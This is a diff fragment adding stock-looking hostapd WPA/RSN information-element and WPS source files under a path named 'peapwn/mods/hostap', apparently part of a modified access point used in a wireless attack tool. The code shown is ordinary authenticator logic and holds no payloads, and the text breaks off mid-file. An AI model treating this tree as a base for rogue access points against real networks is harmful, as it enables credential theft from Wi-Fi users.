+ if (rsn_testing) { + RSN_SELECTOR_PUT(pos, RSN_SELECTOR(0x12, 0x34, 0x56, 2)); + pos += RSN_SELECTOR_LEN; + num_suites++; + } +#endif /* CONFIG_RSN_TESTING */ + + if (num_suites == 0) { + wpa_printf(MSG_DEBUG, "Invalid pairwise cipher (%d).", + conf->rsn_pairwise); + return -1; + } + WPA_PUT_LE16(count, num_suites); + + num_suites = 0; + count = pos; + pos += 2; + +#ifdef CONFIG_RSN_TESTING + if (rsn_testing) { + RSN_SELECTOR_PUT(pos, RSN_SELECTOR(0x12, 0x34, 0x56, 1)); + pos += RSN_SELECTOR_LEN; + num_suites++; + } +#endif /* CONFIG_RSN_TESTING */ + + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_UNSPEC_802_1X); + pos += RSN_SELECTOR_LEN; + num_suites++; + } + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X); + pos += RSN_SELECTOR_LEN; + num_suites++; + } +#ifdef CONFIG_IEEE80211R + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_802_1X); + pos += RSN_SELECTOR_LEN; + num_suites++; + } + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_PSK) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_PSK); + pos += RSN_SELECTOR_LEN; + num_suites++; + } +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X_SHA256) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_802_1X_SHA256); + pos += RSN_SELECTOR_LEN; + num_suites++; + } + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK_SHA256) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_PSK_SHA256); + pos += RSN_SELECTOR_LEN; + num_suites++; + } +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_SAE + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_SAE) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_SAE); + pos += RSN_SELECTOR_LEN; + num_suites++; + } + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_FT_SAE) { + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_SAE); + pos += RSN_SELECTOR_LEN; + num_suites++; + } +#endif /* CONFIG_SAE */ + +#ifdef CONFIG_RSN_TESTING + if (rsn_testing) { + RSN_SELECTOR_PUT(pos, RSN_SELECTOR(0x12, 0x34, 0x56, 2)); + pos += RSN_SELECTOR_LEN; + num_suites++; + } +#endif /* CONFIG_RSN_TESTING */ + + if (num_suites == 0) { + wpa_printf(MSG_DEBUG, "Invalid key management type (%d).", + conf->wpa_key_mgmt); + return -1; + } + WPA_PUT_LE16(count, num_suites); + + /* RSN Capabilities */ + capab = 0; + if (conf->rsn_preauth) + capab |= WPA_CAPABILITY_PREAUTH; + if (conf->peerkey) + capab |= WPA_CAPABILITY_PEERKEY_ENABLED; + if (conf->wmm_enabled) { + /* 4 PTKSA replay counters when using WMM */ + capab |= (RSN_NUM_REPLAY_COUNTERS_16 << 2); + } +#ifdef CONFIG_IEEE80211W + if (conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) { + capab |= WPA_CAPABILITY_MFPC; + if (conf->ieee80211w == MGMT_FRAME_PROTECTION_REQUIRED) + capab |= WPA_CAPABILITY_MFPR; + } +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_RSN_TESTING + if (rsn_testing) + capab |= BIT(8) | BIT(14) | BIT(15); +#endif /* CONFIG_RSN_TESTING */ + WPA_PUT_LE16(pos, capab); + pos += 2; + + if (pmkid) { + if (pos + 2 + PMKID_LEN > buf + len) + return -1; + /* PMKID Count */ + WPA_PUT_LE16(pos, 1); + pos += 2; + os_memcpy(pos, pmkid, PMKID_LEN); + pos += PMKID_LEN; + } + +#ifdef CONFIG_IEEE80211W + if (conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) { + if (pos + 2 + 4 > buf + len) + return -1; + if (pmkid == NULL) { + /* PMKID Count */ + WPA_PUT_LE16(pos, 0); + pos += 2; + } + + /* Management Group Cipher Suite */ + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_AES_128_CMAC); + pos += RSN_SELECTOR_LEN; + } +#endif /* CONFIG_IEEE80211W */ + +#ifdef CONFIG_RSN_TESTING + if (rsn_testing) { + /* + * Fill in any defined fields and add extra data to the end of + * the element. + */ + int pmkid_count_set = pmkid != NULL; + if (conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) + pmkid_count_set = 1; + /* PMKID Count */ + WPA_PUT_LE16(pos, 0); + pos += 2; + if (conf->ieee80211w == NO_MGMT_FRAME_PROTECTION) { + /* Management Group Cipher Suite */ + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_AES_128_CMAC); + pos += RSN_SELECTOR_LEN; + } + + os_memset(pos, 0x12, 17); + pos += 17; + } +#endif /* CONFIG_RSN_TESTING */ + + hdr->len = (pos - buf) - 2; + + return pos - buf; +} + + +int wpa_auth_gen_wpa_ie(struct wpa_authenticator *wpa_auth) +{ + u8 *pos, buf[128]; + int res; + + pos = buf; + + if (wpa_auth->conf.wpa & WPA_PROTO_RSN) { + res = wpa_write_rsn_ie(&wpa_auth->conf, + pos, buf + sizeof(buf) - pos, NULL); + if (res < 0) + return res; + pos += res; + } +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(wpa_auth->conf.wpa_key_mgmt)) { + res = wpa_write_mdie(&wpa_auth->conf, pos, + buf + sizeof(buf) - pos); + if (res < 0) + return res; + pos += res; + } +#endif /* CONFIG_IEEE80211R */ + if (wpa_auth->conf.wpa & WPA_PROTO_WPA) { + res = wpa_write_wpa_ie(&wpa_auth->conf, + pos, buf + sizeof(buf) - pos); + if (res < 0) + return res; + pos += res; + } + + os_free(wpa_auth->wpa_ie); + wpa_auth->wpa_ie = os_malloc(pos - buf); + if (wpa_auth->wpa_ie == NULL) + return -1; + os_memcpy(wpa_auth->wpa_ie, buf, pos - buf); + wpa_auth->wpa_ie_len = pos - buf; + + return 0; +} + + +u8 * wpa_add_kde(u8 *pos, u32 kde, const u8 *data, size_t data_len, + const u8 *data2, size_t data2_len) +{ + *pos++ = WLAN_EID_VENDOR_SPECIFIC; + *pos++ = RSN_SELECTOR_LEN + data_len + data2_len; + RSN_SELECTOR_PUT(pos, kde); + pos += RSN_SELECTOR_LEN; + os_memcpy(pos, data, data_len); + pos += data_len; + if (data2) { + os_memcpy(pos, data2, data2_len); + pos += data2_len; + } + return pos; +} + + +struct wpa_auth_okc_iter_data { + struct rsn_pmksa_cache_entry *pmksa; + const u8 *aa; + const u8 *spa; + const u8 *pmkid; +}; + + +static int wpa_auth_okc_iter(struct wpa_authenticator *a, void *ctx) +{ + struct wpa_auth_okc_iter_data *data = ctx; + data->pmksa = pmksa_cache_get_okc(a->pmksa, data->aa, data->spa, + data->pmkid); + if (data->pmksa) + return 1; + return 0; +} + + +int wpa_validate_wpa_ie(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, + const u8 *wpa_ie, size_t wpa_ie_len, + const u8 *mdie, size_t mdie_len) +{ + struct wpa_ie_data data; + int ciphers, key_mgmt, res, version; + u32 selector; + size_t i; + const u8 *pmkid = NULL; + + if (wpa_auth == NULL || sm == NULL) + return WPA_NOT_ENABLED; + + if (wpa_ie == NULL || wpa_ie_len < 1) + return WPA_INVALID_IE; + + if (wpa_ie[0] == WLAN_EID_RSN) + version = WPA_PROTO_RSN; + else + version = WPA_PROTO_WPA; + + if (!(wpa_auth->conf.wpa & version)) { + wpa_printf(MSG_DEBUG, "Invalid WPA proto (%d) from " MACSTR, + version, MAC2STR(sm->addr)); + return WPA_INVALID_PROTO; + } + + if (version == WPA_PROTO_RSN) { + res = wpa_parse_wpa_ie_rsn(wpa_ie, wpa_ie_len, &data); + + selector = RSN_AUTH_KEY_MGMT_UNSPEC_802_1X; + if (0) { + } +#ifdef CONFIG_IEEE80211R + else if (data.key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X) + selector = RSN_AUTH_KEY_MGMT_FT_802_1X; + else if (data.key_mgmt & WPA_KEY_MGMT_FT_PSK) + selector = RSN_AUTH_KEY_MGMT_FT_PSK; +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + else if (data.key_mgmt & WPA_KEY_MGMT_IEEE8021X_SHA256) + selector = RSN_AUTH_KEY_MGMT_802_1X_SHA256; + else if (data.key_mgmt & WPA_KEY_MGMT_PSK_SHA256) + selector = RSN_AUTH_KEY_MGMT_PSK_SHA256; +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_SAE + else if (data.key_mgmt & WPA_KEY_MGMT_SAE) + selector = RSN_AUTH_KEY_MGMT_SAE; + else if (data.key_mgmt & WPA_KEY_MGMT_FT_SAE) + selector = RSN_AUTH_KEY_MGMT_FT_SAE; +#endif /* CONFIG_SAE */ + else if (data.key_mgmt & WPA_KEY_MGMT_IEEE8021X) + selector = RSN_AUTH_KEY_MGMT_UNSPEC_802_1X; + else if (data.key_mgmt & WPA_KEY_MGMT_PSK) + selector = RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X; + wpa_auth->dot11RSNAAuthenticationSuiteSelected = selector; + + selector = wpa_cipher_to_suite(WPA_PROTO_RSN, + data.pairwise_cipher); + if (!selector) + selector = RSN_CIPHER_SUITE_CCMP; + wpa_auth->dot11RSNAPairwiseCipherSelected = selector; + + selector = wpa_cipher_to_suite(WPA_PROTO_RSN, + data.group_cipher); + if (!selector) + selector = RSN_CIPHER_SUITE_CCMP; + wpa_auth->dot11RSNAGroupCipherSelected = selector; + } else { + res = wpa_parse_wpa_ie_wpa(wpa_ie, wpa_ie_len, &data); + + selector = WPA_AUTH_KEY_MGMT_UNSPEC_802_1X; + if (data.key_mgmt & WPA_KEY_MGMT_IEEE8021X) + selector = WPA_AUTH_KEY_MGMT_UNSPEC_802_1X; + else if (data.key_mgmt & WPA_KEY_MGMT_PSK) + selector = WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X; + wpa_auth->dot11RSNAAuthenticationSuiteSelected = selector; + + selector = wpa_cipher_to_suite(WPA_PROTO_WPA, + data.pairwise_cipher); + if (!selector) + selector = RSN_CIPHER_SUITE_TKIP; + wpa_auth->dot11RSNAPairwiseCipherSelected = selector; + + selector = wpa_cipher_to_suite(WPA_PROTO_WPA, + data.group_cipher); + if (!selector) + selector = WPA_CIPHER_SUITE_TKIP; + wpa_auth->dot11RSNAGroupCipherSelected = selector; + } + if (res) { + wpa_printf(MSG_DEBUG, "Failed to parse WPA/RSN IE from " + MACSTR " (res=%d)", MAC2STR(sm->addr), res); + wpa_hexdump(MSG_DEBUG, "WPA/RSN IE", wpa_ie, wpa_ie_len); + return WPA_INVALID_IE; + } + + if (data.group_cipher != wpa_auth->conf.wpa_group) { + wpa_printf(MSG_DEBUG, "Invalid WPA group cipher (0x%x) from " + MACSTR, data.group_cipher, MAC2STR(sm->addr)); + return WPA_INVALID_GROUP; + } + + key_mgmt = data.key_mgmt & wpa_auth->conf.wpa_key_mgmt; + if (!key_mgmt) { + wpa_printf(MSG_DEBUG, "Invalid WPA key mgmt (0x%x) from " + MACSTR, data.key_mgmt, MAC2STR(sm->addr)); + return WPA_INVALID_AKMP; + } + if (0) { + } +#ifdef CONFIG_IEEE80211R + else if (key_mgmt & WPA_KEY_MGMT_FT_IEEE8021X) + sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_IEEE8021X; + else if (key_mgmt & WPA_KEY_MGMT_FT_PSK) + sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_PSK; +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + else if (key_mgmt & WPA_KEY_MGMT_IEEE8021X_SHA256) + sm->wpa_key_mgmt = WPA_KEY_MGMT_IEEE8021X_SHA256; + else if (key_mgmt & WPA_KEY_MGMT_PSK_SHA256) + sm->wpa_key_mgmt = WPA_KEY_MGMT_PSK_SHA256; +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_SAE + else if (key_mgmt & WPA_KEY_MGMT_SAE) + sm->wpa_key_mgmt = WPA_KEY_MGMT_SAE; + else if (key_mgmt & WPA_KEY_MGMT_FT_SAE) + sm->wpa_key_mgmt = WPA_KEY_MGMT_FT_SAE; +#endif /* CONFIG_SAE */ + else if (key_mgmt & WPA_KEY_MGMT_IEEE8021X) + sm->wpa_key_mgmt = WPA_KEY_MGMT_IEEE8021X; + else + sm->wpa_key_mgmt = WPA_KEY_MGMT_PSK; + + if (version == WPA_PROTO_RSN) + ciphers = data.pairwise_cipher & wpa_auth->conf.rsn_pairwise; + else + ciphers = data.pairwise_cipher & wpa_auth->conf.wpa_pairwise; + if (!ciphers) { + wpa_printf(MSG_DEBUG, "Invalid %s pairwise cipher (0x%x) " + "from " MACSTR, + version == WPA_PROTO_RSN ? "RSN" : "WPA", + data.pairwise_cipher, MAC2STR(sm->addr)); + return WPA_INVALID_PAIRWISE; + } + +#ifdef CONFIG_IEEE80211W + if (wpa_auth->conf.ieee80211w == MGMT_FRAME_PROTECTION_REQUIRED) { + if (!(data.capabilities & WPA_CAPABILITY_MFPC)) { + wpa_printf(MSG_DEBUG, "Management frame protection " + "required, but client did not enable it"); + return WPA_MGMT_FRAME_PROTECTION_VIOLATION; + } + + if (ciphers & WPA_CIPHER_TKIP) { + wpa_printf(MSG_DEBUG, "Management frame protection " + "cannot use TKIP"); + return WPA_MGMT_FRAME_PROTECTION_VIOLATION; + } + + if (data.mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) { + wpa_printf(MSG_DEBUG, "Unsupported management group " + "cipher %d", data.mgmt_group_cipher); + return WPA_INVALID_MGMT_GROUP_CIPHER; + } + } + + if (wpa_auth->conf.ieee80211w == NO_MGMT_FRAME_PROTECTION || + !(data.capabilities & WPA_CAPABILITY_MFPC)) + sm->mgmt_frame_prot = 0; + else + sm->mgmt_frame_prot = 1; +#endif /* CONFIG_IEEE80211W */ + +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { + if (mdie == NULL || mdie_len < MOBILITY_DOMAIN_ID_LEN + 1) { + wpa_printf(MSG_DEBUG, "RSN: Trying to use FT, but " + "MDIE not included"); + return WPA_INVALID_MDIE; + } + if (os_memcmp(mdie, wpa_auth->conf.mobility_domain, + MOBILITY_DOMAIN_ID_LEN) != 0) { + wpa_hexdump(MSG_DEBUG, "RSN: Attempted to use unknown " + "MDIE", mdie, MOBILITY_DOMAIN_ID_LEN); + return WPA_INVALID_MDIE; + } + } +#endif /* CONFIG_IEEE80211R */ + + sm->pairwise = wpa_pick_pairwise_cipher(ciphers, 0); + if (sm->pairwise < 0) + return WPA_INVALID_PAIRWISE; + + /* TODO: clear WPA/WPA2 state if STA changes from one to another */ + if (wpa_ie[0] == WLAN_EID_RSN) + sm->wpa = WPA_VERSION_WPA2; + else + sm->wpa = WPA_VERSION_WPA; + + sm->pmksa = NULL; + for (i = 0; i < data.num_pmkid; i++) { + wpa_hexdump(MSG_DEBUG, "RSN IE: STA PMKID", + &data.pmkid[i * PMKID_LEN], PMKID_LEN); + sm->pmksa = pmksa_cache_auth_get(wpa_auth->pmksa, sm->addr, + &data.pmkid[i * PMKID_LEN]); + if (sm->pmksa) { + pmkid = sm->pmksa->pmkid; + break; + } + } + for (i = 0; sm->pmksa == NULL && wpa_auth->conf.okc && + i < data.num_pmkid; i++) { + struct wpa_auth_okc_iter_data idata; + idata.pmksa = NULL; + idata.aa = wpa_auth->addr; + idata.spa = sm->addr; + idata.pmkid = &data.pmkid[i * PMKID_LEN]; + wpa_auth_for_each_auth(wpa_auth, wpa_auth_okc_iter, &idata); + if (idata.pmksa) { + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, + "OKC match for PMKID"); + sm->pmksa = pmksa_cache_add_okc(wpa_auth->pmksa, + idata.pmksa, + wpa_auth->addr, + idata.pmkid); + pmkid = idata.pmkid; + break; + } + } + if (sm->pmksa) { + wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, + "PMKID found from PMKSA cache " + "eap_type=%d vlan_id=%d", + sm->pmksa->eap_type_authsrv, + sm->pmksa->vlan_id); + os_memcpy(wpa_auth->dot11RSNAPMKIDUsed, pmkid, PMKID_LEN); + } + + if (sm->wpa_ie == NULL || sm->wpa_ie_len < wpa_ie_len) { + os_free(sm->wpa_ie); + sm->wpa_ie = os_malloc(wpa_ie_len); + if (sm->wpa_ie == NULL) + return WPA_ALLOC_FAIL; + } + os_memcpy(sm->wpa_ie, wpa_ie, wpa_ie_len); + sm->wpa_ie_len = wpa_ie_len; + + return WPA_IE_OK; +} + + +/** + * wpa_parse_generic - Parse EAPOL-Key Key Data Generic IEs + * @pos: Pointer to the IE header + * @end: Pointer to the end of the Key Data buffer + * @ie: Pointer to parsed IE data + * Returns: 0 on success, 1 if end mark is found, -1 on failure + */ +static int wpa_parse_generic(const u8 *pos, const u8 *end, + struct wpa_eapol_ie_parse *ie) +{ + if (pos[1] == 0) + return 1; + + if (pos[1] >= 6 && + RSN_SELECTOR_GET(pos + 2) == WPA_OUI_TYPE && + pos[2 + WPA_SELECTOR_LEN] == 1 && + pos[2 + WPA_SELECTOR_LEN + 1] == 0) { + ie->wpa_ie = pos; + ie->wpa_ie_len = pos[1] + 2; + return 0; + } + + if (pos + 1 + RSN_SELECTOR_LEN < end && + pos[1] >= RSN_SELECTOR_LEN + PMKID_LEN && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_PMKID) { + ie->pmkid = pos + 2 + RSN_SELECTOR_LEN; + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_GROUPKEY) { + ie->gtk = pos + 2 + RSN_SELECTOR_LEN; + ie->gtk_len = pos[1] - RSN_SELECTOR_LEN; + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_MAC_ADDR) { + ie->mac_addr = pos + 2 + RSN_SELECTOR_LEN; + ie->mac_addr_len = pos[1] - RSN_SELECTOR_LEN; + return 0; + } + +#ifdef CONFIG_PEERKEY + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_SMK) { + ie->smk = pos + 2 + RSN_SELECTOR_LEN; + ie->smk_len = pos[1] - RSN_SELECTOR_LEN; + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_NONCE) { + ie->nonce = pos + 2 + RSN_SELECTOR_LEN; + ie->nonce_len = pos[1] - RSN_SELECTOR_LEN; + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_LIFETIME) { + ie->lifetime = pos + 2 + RSN_SELECTOR_LEN; + ie->lifetime_len = pos[1] - RSN_SELECTOR_LEN; + return 0; + } + + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_ERROR) { + ie->error = pos + 2 + RSN_SELECTOR_LEN; + ie->error_len = pos[1] - RSN_SELECTOR_LEN; + return 0; + } +#endif /* CONFIG_PEERKEY */ + +#ifdef CONFIG_IEEE80211W + if (pos[1] > RSN_SELECTOR_LEN + 2 && + RSN_SELECTOR_GET(pos + 2) == RSN_KEY_DATA_IGTK) { + ie->igtk = pos + 2 + RSN_SELECTOR_LEN; + ie->igtk_len = pos[1] - RSN_SELECTOR_LEN; + return 0; + } +#endif /* CONFIG_IEEE80211W */ + + return 0; +} + + +/** + * wpa_parse_kde_ies - Parse EAPOL-Key Key Data IEs + * @buf: Pointer to the Key Data buffer + * @len: Key Data Length + * @ie: Pointer to parsed IE data + * Returns: 0 on success, -1 on failure + */ +int wpa_parse_kde_ies(const u8 *buf, size_t len, struct wpa_eapol_ie_parse *ie) +{ + const u8 *pos, *end; + int ret = 0; + + os_memset(ie, 0, sizeof(*ie)); + for (pos = buf, end = pos + len; pos + 1 < end; pos += 2 + pos[1]) { + if (pos[0] == 0xdd && + ((pos == buf + len - 1) || pos[1] == 0)) { + /* Ignore padding */ + break; + } + if (pos + 2 + pos[1] > end) { + wpa_printf(MSG_DEBUG, "WPA: EAPOL-Key Key Data " + "underflow (ie=%d len=%d pos=%d)", + pos[0], pos[1], (int) (pos - buf)); + wpa_hexdump_key(MSG_DEBUG, "WPA: Key Data", + buf, len); + ret = -1; + break; + } + if (*pos == WLAN_EID_RSN) { + ie->rsn_ie = pos; + ie->rsn_ie_len = pos[1] + 2; +#ifdef CONFIG_IEEE80211R + } else if (*pos == WLAN_EID_MOBILITY_DOMAIN) { + ie->mdie = pos; + ie->mdie_len = pos[1] + 2; + } else if (*pos == WLAN_EID_FAST_BSS_TRANSITION) { + ie->ftie = pos; + ie->ftie_len = pos[1] + 2; +#endif /* CONFIG_IEEE80211R */ + } else if (*pos == WLAN_EID_VENDOR_SPECIFIC) { + ret = wpa_parse_generic(pos, end, ie); + if (ret < 0) + break; + if (ret > 0) { + ret = 0; + break; + } + } else { + wpa_hexdump(MSG_DEBUG, "WPA: Unrecognized EAPOL-Key " + "Key Data IE", pos, 2 + pos[1]); + } + } + + return ret; +} + + +int wpa_auth_uses_mfp(struct wpa_state_machine *sm) +{ + return sm ? sm->mgmt_frame_prot : 0; +} diff --git a/peapwn/mods/hostap/src/ap/wpa_auth_ie.h b/peapwn/mods/hostap/src/ap/wpa_auth_ie.h new file mode 100644 index 000000000..499913951 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wpa_auth_ie.h @@ -0,0 +1,50 @@ +/* + * hostapd - WPA/RSN IE and KDE definitions + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_AUTH_IE_H +#define WPA_AUTH_IE_H + +struct wpa_eapol_ie_parse { + const u8 *wpa_ie; + size_t wpa_ie_len; + const u8 *rsn_ie; + size_t rsn_ie_len; + const u8 *pmkid; + const u8 *gtk; + size_t gtk_len; + const u8 *mac_addr; + size_t mac_addr_len; +#ifdef CONFIG_PEERKEY + const u8 *smk; + size_t smk_len; + const u8 *nonce; + size_t nonce_len; + const u8 *lifetime; + size_t lifetime_len; + const u8 *error; + size_t error_len; +#endif /* CONFIG_PEERKEY */ +#ifdef CONFIG_IEEE80211W + const u8 *igtk; + size_t igtk_len; +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_IEEE80211R + const u8 *mdie; + size_t mdie_len; + const u8 *ftie; + size_t ftie_len; +#endif /* CONFIG_IEEE80211R */ +}; + +int wpa_parse_kde_ies(const u8 *buf, size_t len, + struct wpa_eapol_ie_parse *ie); +u8 * wpa_add_kde(u8 *pos, u32 kde, const u8 *data, size_t data_len, + const u8 *data2, size_t data2_len); +int wpa_auth_gen_wpa_ie(struct wpa_authenticator *wpa_auth); + +#endif /* WPA_AUTH_IE_H */ diff --git a/peapwn/mods/hostap/src/ap/wps_hostapd.c b/peapwn/mods/hostap/src/ap/wps_hostapd.c new file mode 100644 index 000000000..294a39d6f --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wps_hostapd.c @@ -0,0 +1,1861 @@ +/* + * hostapd / WPS integration + * Copyright (c) 2008-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "utils/uuid.h" +#include "common/wpa_ctrl.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "eapol_auth/eapol_auth_sm.h" +#include "eapol_auth/eapol_auth_sm_i.h" +#include "wps/wps.h" +#include "wps/wps_defs.h" +#include "wps/wps_dev_attr.h" +#include "wps/wps_attr_parse.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "beacon.h" +#include "sta_info.h" +#include "wps_hostapd.h" + + +#ifdef CONFIG_WPS_UPNP +#include "wps/wps_upnp.h" +static int hostapd_wps_upnp_init(struct hostapd_data *hapd, + struct wps_context *wps); +static void hostapd_wps_upnp_deinit(struct hostapd_data *hapd); +#endif /* CONFIG_WPS_UPNP */ + +static int hostapd_wps_probe_req_rx(void *ctx, const u8 *addr, const u8 *da, + const u8 *bssid, + const u8 *ie, size_t ie_len, + int ssi_signal); +static void hostapd_wps_ap_pin_timeout(void *eloop_data, void *user_ctx); + + +struct wps_for_each_data { + int (*func)(struct hostapd_data *h, void *ctx); + void *ctx; + struct hostapd_data *calling_hapd; +}; + + +static int wps_for_each(struct hostapd_iface *iface, void *ctx) +{ + struct wps_for_each_data *data = ctx; + size_t j; + + if (iface == NULL) + return 0; + for (j = 0; j < iface->num_bss; j++) { + struct hostapd_data *hapd = iface->bss[j]; + int ret; + + if (hapd != data->calling_hapd && + (hapd->conf->wps_independent || + data->calling_hapd->conf->wps_independent)) + continue; + + ret = data->func(hapd, data->ctx); + if (ret) + return ret; + } + + return 0; +} + + +static int hostapd_wps_for_each(struct hostapd_data *hapd, + int (*func)(struct hostapd_data *h, void *ctx), + void *ctx) +{ + struct hostapd_iface *iface = hapd->iface; + struct wps_for_each_data data; + data.func = func; + data.ctx = ctx; + data.calling_hapd = hapd; + if (iface->interfaces == NULL || + iface->interfaces->for_each_interface == NULL) + return wps_for_each(iface, &data); + return iface->interfaces->for_each_interface(iface->interfaces, + wps_for_each, &data); +} + + +static int hostapd_wps_new_psk_cb(void *ctx, const u8 *mac_addr, + const u8 *p2p_dev_addr, const u8 *psk, + size_t psk_len) +{ + struct hostapd_data *hapd = ctx; + struct hostapd_wpa_psk *p; + struct hostapd_ssid *ssid = &hapd->conf->ssid; + + if (is_zero_ether_addr(p2p_dev_addr)) { + wpa_printf(MSG_DEBUG, + "Received new WPA/WPA2-PSK from WPS for STA " MACSTR, + MAC2STR(mac_addr)); + } else { + wpa_printf(MSG_DEBUG, + "Received new WPA/WPA2-PSK from WPS for STA " MACSTR + " P2P Device Addr " MACSTR, + MAC2STR(mac_addr), MAC2STR(p2p_dev_addr)); + } + wpa_hexdump_key(MSG_DEBUG, "Per-device PSK", psk, psk_len); + + if (psk_len != PMK_LEN) { + wpa_printf(MSG_DEBUG, "Unexpected PSK length %lu", + (unsigned long) psk_len); + return -1; + } + + /* Add the new PSK to runtime PSK list */ + p = os_zalloc(sizeof(*p)); + if (p == NULL) + return -1; + os_memcpy(p->addr, mac_addr, ETH_ALEN); + os_memcpy(p->p2p_dev_addr, p2p_dev_addr, ETH_ALEN); + os_memcpy(p->psk, psk, PMK_LEN); + + if (hapd->new_psk_cb) { + hapd->new_psk_cb(hapd->new_psk_cb_ctx, mac_addr, p2p_dev_addr, + psk, psk_len); + } + + p->next = ssid->wpa_psk; + ssid->wpa_psk = p; + + if (ssid->wpa_psk_file) { + FILE *f; + char hex[PMK_LEN * 2 + 1]; + /* Add the new PSK to PSK list file */ + f = fopen(ssid->wpa_psk_file, "a"); + if (f == NULL) { + wpa_printf(MSG_DEBUG, "Failed to add the PSK to " + "'%s'", ssid->wpa_psk_file); + return -1; + } + + wpa_snprintf_hex(hex, sizeof(hex), psk, psk_len); + fprintf(f, MACSTR " %s\n", MAC2STR(mac_addr), hex); + fclose(f); + } + + return 0; +} + + +static int hostapd_wps_set_ie_cb(void *ctx, struct wpabuf *beacon_ie, + struct wpabuf *probe_resp_ie) +{ + struct hostapd_data *hapd = ctx; + wpabuf_free(hapd->wps_beacon_ie); + hapd->wps_beacon_ie = beacon_ie; + wpabuf_free(hapd->wps_probe_resp_ie); + hapd->wps_probe_resp_ie = probe_resp_ie; + if (hapd->beacon_set_done) + ieee802_11_set_beacon(hapd); + return hostapd_set_ap_wps_ie(hapd); +} + + +static void hostapd_wps_pin_needed_cb(void *ctx, const u8 *uuid_e, + const struct wps_device_data *dev) +{ + struct hostapd_data *hapd = ctx; + char uuid[40], txt[400]; + int len; + char devtype[WPS_DEV_TYPE_BUFSIZE]; + if (uuid_bin2str(uuid_e, uuid, sizeof(uuid))) + return; + wpa_printf(MSG_DEBUG, "WPS: PIN needed for E-UUID %s", uuid); + len = os_snprintf(txt, sizeof(txt), WPS_EVENT_PIN_NEEDED + "%s " MACSTR " [%s|%s|%s|%s|%s|%s]", + uuid, MAC2STR(dev->mac_addr), dev->device_name, + dev->manufacturer, dev->model_name, + dev->model_number, dev->serial_number, + wps_dev_type_bin2str(dev->pri_dev_type, devtype, + sizeof(devtype))); + if (len > 0 && len < (int) sizeof(txt)) + wpa_msg(hapd->msg_ctx, MSG_INFO, "%s", txt); + + if (hapd->conf->wps_pin_requests) { + FILE *f; + struct os_time t; + f = fopen(hapd->conf->wps_pin_requests, "a"); + if (f == NULL) + return; + os_get_time(&t); + fprintf(f, "%ld\t%s\t" MACSTR "\t%s\t%s\t%s\t%s\t%s" + "\t%s\n", + t.sec, uuid, MAC2STR(dev->mac_addr), dev->device_name, + dev->manufacturer, dev->model_name, dev->model_number, + dev->serial_number, + wps_dev_type_bin2str(dev->pri_dev_type, devtype, + sizeof(devtype))); + fclose(f); + } +} + + +struct wps_stop_reg_data { + struct hostapd_data *current_hapd; + const u8 